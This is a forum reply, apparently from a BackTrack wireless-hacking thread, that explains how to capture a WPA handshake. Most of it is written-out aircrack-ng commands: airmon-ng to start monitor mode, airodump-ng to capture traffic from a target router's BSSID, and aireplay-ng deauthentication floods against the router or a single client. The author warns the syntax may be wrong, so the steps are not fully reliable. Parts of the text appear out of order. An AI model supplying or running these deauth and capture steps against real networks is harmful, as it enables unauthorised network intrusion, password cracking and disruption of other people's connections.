Your post is confusing my friend. What do you mean by "I have entered the wireless usb adapter to backtrack"??
I'm going to show u a simulated event...Start to finish on how to grab a handshake...I might be a little wrong with my syntax because I am on my windows box right now, so try what I got, and if it gives u errors, well, just know I made a syntax mistake, and fix it from there...Here we go
There ya go man, if u dont grab a handshake with those 5 deauths, just repeat it or make the value higher or whatever....Thats properly done mate =) Cheers
airmon-ng start wlan0 (assuming wlan0 is yer alfa)
airodump-ng mon0 -c 6 --bssid aa:bb:cc:dd:ee:ff -w packets (assuming channel 6 and the tgt router has that mac address)
In another terminal do: aireplay-ng mon0 -0 5 -a aa:bb:cc:dd:ee:ff
aireplay-ng mon0 -0 5 -a aa:bb:cc:dd:ee:ff -c 11:22:33:44:55:66 (assuming you just wanted to tgt one client)